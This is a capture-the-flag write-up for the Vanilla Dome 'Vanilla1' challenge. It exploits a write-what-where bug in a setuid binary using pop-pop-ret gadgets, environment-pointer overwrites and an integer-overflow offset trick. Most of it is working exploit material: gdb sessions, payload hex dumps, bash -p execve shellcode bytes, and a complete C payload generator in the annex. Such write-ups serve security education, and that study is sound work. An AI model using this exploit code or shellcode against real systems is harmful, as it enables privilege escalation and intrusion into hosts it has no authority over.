   0x804857e <main+6>:    sub    esp,0x1050
   0x8048584 <main+12>:    mov    eax,DWORD PTR [ebp+0x8]
   0x8048587 <main+15>:    mov    DWORD PTR [esp+0x1c],eax
   0x804858b <main+19>:    mov    eax,DWORD PTR [ebp+0xc]
--------------------------------------------------------------------------------

Breakpoint 2, 0x08048577 in insert ()
gdb$ x/10wx $esp
0xb3d35dfc:    0x08048767    0xfffffff1    0x08048767    0xb3d35e38
0xb3d35e0c:    0x00000000    0x00000000    0x00000000    0xb3d36f04
0xb3d35e1c:    0x00000002    0x00000000


0x08048767 is our rewritten SEIP :).
0xfffffff1 is -15
0x08048767 the value we gave
0xb3d35e38 is our buffer value
0xb3d36f04 point to env[]

Ok, great, we have a pointer to our buffer.
We now need an instruction of style pop pop ret.

Exploitation POP-POP-RET style



First, we need our pop-pop-ret.
$ objdump -d ./Vanilla1
...
 8048767:    5b                       pop    %ebx
 8048768:    5d                       pop    %ebp
 8048769:    c3                       ret   
...


Here we go.

The trigger is thus done this way:
    // fill array with shellcode
    fill_array (array, n_elts, fp_in);
    // set trigger
    array[n_elts-1].value = i2a (0x8048767);
    array[n_elts-1].offset = i2a(-15);

0x8048767 is the address to the pop-pop-ret.
-15 is the offset to SEIP.

Now we should have everything we need for reliable exploitation.

Let's try our sploit.

m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1.rev1 bash-p.bin payload.bin 
sz_file = 33
rest    = 1
n_elts  = 9
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 0aaaaaaaaaaaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1aaaaaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 2aaaaaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 3aaaaaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
34 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 4aaaaaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 5aaaaaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 6aaaaaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 7aaaaaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 8aaaaaaaaaaaaaaaaaa
31 33 34 35 31 34 35 33 35 61 61 61 61 61 61 61 61 61 61 | 134514535aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa

On the remote machine:
vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.1.txt
Segmentation fault


Woot! It doesn't work!

Let's check the stack.

gdb$ b *0x08048577
Breakpoint 1 at 0x8048577
gdb$ condition 1 $edx==0x8048767
gdb$ r payload.bin


We break as soon as edx == 0x8048577 (which is our last value).
gdb$ x/10wx $esp
0xb3d35dfc:    0x08048767    0xfffffff1    0x08048767    0xb3d35e38
0xb3d35e0c:    0x00000000    0x00000000    0x00000000    0xb3d36f04
0xb3d35e1c:    0x00000002    0x00000000

gdb$ x/10wx 0xb3d35e38
0xb3d35e38:    0x00000000    0x2d686652    0x52e18970    0x2f68686a
0xb3d35e48:    0x68736162    0x6e69622f    0x5152e389    0xcde18953
0xb3d35e38:    0x00000080    0x00000000


Whoops, the first 4 bytes are never written.
That's explained by the fact that insert() isn't called if atoll() return 0.
We can fix it through 2 methods:
- put our payload somewhere else in the stack
- use arithmetic tricks

Putting our payload somewhere else



Remember about 0xb3d36f04 ?
This is our env[] pointer.

We need an address in stack to use the same trick as before with the pop-pop-ret.
gdb$ x/10wx 0xb3d36f04
0xb3d36f04:    0xbd4dea72    0xbd4dea8a    0x00000000    0xbd4dea93
0xb3d36f14:    0xbd4deb25    0xbd4deb35    0xbd4deb40    0xbd4deb64
0xb3d36f24:    0xbd4deb77    0xbd4deb85


If you check each pointers:
gdb$ x/s 0xbd4dea72
0xbd4dea72:     "/home/vanilla1/Vanilla1"
gdb$ x/s 0xbd4dea8a
0xbd4dea8a:     "payload.bin"
gdb$ x/s 0xbd4deb64
0xbd4deb64:     "SSH_TTY=/dev/pts/0"


You get environment values.
We can trash those pointers, we don't really need them (our shell won't be happy
but it'll still work).

In order to overwrite those pointers, we need our offset:
0xb3d36f04 - 0xb3d35e38 = 0x10CC = 4300


And we need to pop 6 values out of the stack.
For that, I chose 2 gadgets chained together:
0x08048735: pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x08048503: pop ebp ; ret  ;  (1 found)


Your stack will look like this when the trigger is set up:
gdb$ x/10wx $esp
0xb3d35dfc:    0x08048735    0xfffffff1    0x08048735    0xb3d35e38
0xb3d35e0c:    0x00000000    0x08048503    0x00000000    0xb3d36f04
0xb3d35e1c:    0x00000002    0x00000000


It will return directly to 0xb3d36f04 and gain code execution.

Let's try:
m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1.rev2 bash-p.bin v1.2txt
sz_file = 33
rest    = 1
n_elts  = 9
6a 0b 58 99                                     | j.X.
52 66 68 2d                                     | Rfh-
70 89 e1 52                                     | p..R
6a 68 68 2f                                     | jhh/
62 61 73 68                                     | bash
2f 62 69 6e                                     | /bin
89 e3 52 51                                     | ..RQ
53 89 e1 cd                                     | S...
80 00 00 00                                     | ....
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
31 30 37 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1075aaaaaaaaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 30 37 36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1076aaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
31 30 37 37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1077aaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
31 30 37 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1078aaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
31 30 37 39 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1079aaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
31 30 38 30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1080aaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
31 30 38 31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1081aaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
31 30 38 32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1082aaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
31 30 38 33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1083aaaaaaaaaaaaaaa
31 33 34 35 31 33 39 32 33 61 61 61 61 61 61 61 61 61 61 | 134513923aaaaaaaaaa
2d 31 30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -10aaaaaaaaaaaaaaaa
31 33 34 35 31 34 34 38 35 61 61 61 61 61 61 61 61 61 61 | 134514485aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa


On the challenge machine:
vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.2.txt
bash-4.1$ id
uid=1014(vanilla1) gid=1015(vanilla1) euid=1008(vanilla1crack) egid=1009(vanilla1crack) groups=1009(vanilla1crack),1015(vanilla1)
bash-4.1$ pwd
/tmp
bash-4.1$ cd
bash: cd: HOME not set
bash-4.1$ cd ~
bash-4.1$ pwd
/home/vanilla1

Just so you don't bang your header, use bash -p payload or you won't get the suid.

Pawn!

I wanted it to be a bit cleaner.
Trashing the env[], not cool.
Let's try bypassing that 0 restriction through arithmetic tricks.

Arithmetic trick



For the careful reader, you may have spotted some interesting line in insert()
code.
If not:
Dump of assembler code for function insert:
   0x08048534 <+0>:    push   ebp
   0x08048535 <+1>:    mov    ebp,esp
   0x08048537 <+3>:    sub    esp,0x28
   0x0804853a <+6>:    mov    eax,DWORD PTR [ebp+0x8]              ; eax = value2
   0x0804853d <+9>:    mov    DWORD PTR [ebp-0x1c],eax
   0x08048540 <+12>:    mov    eax,DWORD PTR [ebp+0xc]              ; eax = value1
   0x08048543 <+15>:    mov    DWORD PTR [ebp-0x20],eax
   0x08048546 <+18>:    mov    eax,DWORD PTR [ebp+0x10]             ; eax = buffer
   0x08048549 <+21>:    mov    DWORD PTR [ebp-0x24],eax
   0x0804854c <+24>:    mov    eax,gs:0x14                          ; stack cookie
   0x08048552 <+30>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048555 <+33>:    xor    eax,eax
   0x08048557 <+35>:    mov    eax,DWORD PTR [ebp-0x1c]
   0x0804855a <+38>:    shl    eax,0x2                              ; value2 <<= 2;
   0x0804855d <+41>:    add    eax,DWORD PTR [ebp-0x24]             ; value2 += buffer;
   0x08048560 <+44>:    mov    edx,DWORD PTR [ebp-0x20]
   0x08048563 <+47>:    mov    DWORD PTR [eax],edx                  ; *value2 = value1;
   ; stack cookie check
   0x08048565 <+49>:    mov    eax,DWORD PTR [ebp-0xc]              ; stack cookie
   0x08048568 <+52>:    xor    eax,DWORD PTR gs:0x14
   0x0804856f <+59>:    je     0x8048576 <insert+66>

   0x08048571 <+61>:    call   0x8048444 <__stack_chk_fail@plt>
   0x08048576 <+66>:    leave 
   0x08048577 <+67>:    ret   
End of assembler dump.


The interesting line is here:
0x0804855a <+38>:    shl    eax,0x2                              ; value2 <<= 2;
Our offset is multiplied by 4.
We can thus manage to overflow our offset so it becomes 0.
We want 0x1 0000 0000 so offset will be equal to 0x4000 0000.
That's how we get the zero!

Let's try:
m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1 bash-p.bin payload.bin 
sz_file = 33
rest    = 1
n_elts  = 9
6a 0b 58 99                                     | j.X.
52 66 68 2d                                     | Rfh-
70 89 e1 52                                     | p..R
6a 68 68 2f                                     | jhh/
62 61 73 68                                     | bash
2f 62 69 6e                                     | /bin
89 e3 52 51                                     | ..RQ
53 89 e1 cd                                     | S...
80 00 00 00                                     | ....
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
31 30 37 33 37 34 31 38 32 34 61 61 61 61 61 61 61 61 61 | 1073741824aaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1aaaaaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 2aaaaaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 3aaaaaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
34 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 4aaaaaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 5aaaaaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 6aaaaaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 7aaaaaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 8aaaaaaaaaaaaaaaaaa
31 33 34 35 31 34 35 33 35 61 61 61 61 61 61 61 61 61 61 | 134514535aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa


On the remote machine:
vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.3.txt
bash-4.1$ pwd
/tmp
bash-4.1$ cd
bash: cd: HOME not set
bash-4.1$ pwd
/tmp
bash-4.1$ cd ~
bash-4.1$ pwd
/home/vanilla1


Challenge completely owned :).

Conclusion



As you can see, with a bit of work, motivation and some vulnerability, you can
bypass protections.
ASLR was of no use here as we bypass it through offsets and pointers laying on
the stack.
RELRO didn't stop us as we can write on the stack with a write-what-where.
If NX were to be set, it wouldn't have stopped us either as we can still craft a
rop chain. The problem would more have to been about the number of available
gadgets.

That's all for today, hope you enjoyed it.

Cheers,

m_101

References:

- bash -p payload
- Vanilla Dome Wargame
- RELRO: RELocation Read-Only
- Reversing Linux : Comprendre le rôle des sections PLT et GOT dans l’édition de liens dynamique


Annex: The exploit



#include <stdio.h>
#include <stdlib.h>

#include <string.h>

#include <stdint.h>

struct dpatch_t
{
    char *value;
    char *offset;
};

/*
 8048767:    5b                       pop    %ebx
 8048768:    5d                       pop    %ebp
 8048769:    c3                       ret
*/

int get_fsize (FILE *fp);
int get_nelts (FILE *fp);
char *i2a (uint32_t value);
struct dpatch_t *fill_array (int off_buffer, struct dpatch_t *array, int n_elts, FILE *fp);
int dump (unsigned char *bytes, size_t nbytes, size_t align);

int main (int argc, char *argv[])
{
    int n_elts;
    int idx_array;
    struct dpatch_t *array;
    FILE *fp_in, *fp_out;

    if (argc != 3) {
        printf ("Usage: %s [input] [output]\n", argv[0]);
        exit (1);
    }

    fp_in = fopen (argv[1], "r");
    if (!fp_in)
        return 1;

    fp_out = fopen (argv[2], "w");
    if (!fp_out)
        return 1;

    n_elts = get_nelts (fp_in);

    // alloc array
    array = calloc (n_elts + 200, sizeof(*array));
    if (!array)
        return 1;

    // fill array with shellcode
    fill_array (0, array, n_elts, fp_in);
    // set trigger
    array[n_elts].value = i2a (0x8048767);
    array[n_elts].offset = i2a (-15);

    // show debug
    for (idx_array = 0; idx_array < n_elts + 2; idx_array++) {
        if (array[idx_array].value && array[idx_array].value) {
            dump (array[idx_array].value, strlen (array[idx_array].value), strlen (array[idx_array].value));
            dump (array[idx_array].offset, strlen (array[idx_array].offset), strlen(array[idx_array].offset));
        }
    }

    // create payload file
    for (idx_array = 0; idx_array < n_elts + 2; idx_array++) {
        if (array[idx_array].value && array[idx_array].value) {
            fwrite (array[idx_array].value, 1, strlen(array[idx_array].value), fp_out);
            fwrite (array[idx_array].offset, 1, strlen(array[idx_array].offset), fp_out);
        }
    }

    fclose (fp_in);
    fclose (fp_out);

    return 0;
}

int get_fsize (FILE *fp)
{
    int sz_file;
    int old_offset;

    old_offset = ftell (fp);
    fseek (fp, 0, SEEK_END);
    sz_file = ftell (fp);
    fseek (fp, old_offset, SEEK_SET);

    return sz_file;
}

int get_nelts (FILE *fp)
{
    int sz_file;
    int n_elts, rest;

    // compute array n_elts
    sz_file = get_fsize (fp);
    rest = sz_file % 4;
    n_elts = (sz_file - rest) / 4 + (rest > 0 ? 1 : 0);

    printf ("sz_file = %d\n", sz_file);
    printf ("rest    = %d\n", rest);
    printf ("n_elts  = %d\n", n_elts);

    return n_elts;
}

// integer to ascii
char *i2a (uint32_t value)
{
    char *intstr;
    int len_intstr;

    intstr = calloc (21, sizeof(*intstr));
    memset (intstr, 'a', 19);
    snprintf (intstr, 19, "%d", value);
    len_intstr = strlen (intstr);
    if (intstr > 0)
        intstr[len_intstr] = 'a';

    return intstr;
}

struct dpatch_t *fill_array (int off_buffer, struct dpatch_t *array, int n_elts, FILE *fp)
{
    // buffer
    char *buffer;
    // loop
    int idx_array, idx_buffer; 
    int sz_file;
    int rest;

    sz_file = get_fsize (fp);
    rest = sz_file % 4;

    // alloc buffer
    buffer = calloc (sz_file + (rest != 0 ? 4 : 0), sizeof(*buffer));
    if (!buffer)
        return NULL;

    // read
    fseek (fp, 0, SEEK_SET);
    fread (buffer, sz_file, 1, fp);

    // fix off_buffer
    off_buffer = off_buffer / 4;

    // construct array
    for (idx_array = 0, idx_buffer = 0; idx_array < n_elts; idx_array++, idx_buffer++) {
        dump (((uint32_t *) buffer + idx_buffer), 4, 16);
        array[idx_array].value = i2a (*((uint32_t *) buffer + idx_buffer));
        if (idx_buffer == 0 && off_buffer == 0)
            array[idx_array].offset = i2a (0x40000000);
        else
            array[idx_array].offset = i2a (idx_buffer + off_buffer);
    }

    free (buffer);

    return array;
}

// dump
int dump (unsigned char *bytes, size_t nbytes, size_t align)
{
    size_t idx_bytes, j, last;
    int n_disp;

    if (!bytes || !nbytes)
        return -1;

    // first part of line is hex
    for (idx_bytes = 0, last = 0; idx_bytes < nbytes; idx_bytes++) {
        printf ("%02x ", bytes[idx_bytes]);
        // if we got to the alignment value or end of bytes
        // we print the second part of the line
        if ( (idx_bytes + 1) % align == 0 || idx_bytes == nbytes - 1 ) {
            // we print spaces if we arrived at end of bytes
            if (idx_bytes == nbytes - 1) {
                // compute the number of spaces to show
                n_disp = align - (nbytes % align);
                n_disp = (nbytes % align) ? n_disp : 0;
                for (j = 0; j < n_disp; j++)
                    printf("   ");
            }
            // separation
            printf ("| ");
            // second part of line is corresponding character
            for (j = last; j < last + align && j < nbytes;  j++) {
                if (isprint(bytes[j]))
                    printf ("%c", bytes[j]);
                else
                    putchar ('.');
            }
            putchar ('\n');
            last = idx_bytes + 1;
        }
    }

    return 0;
}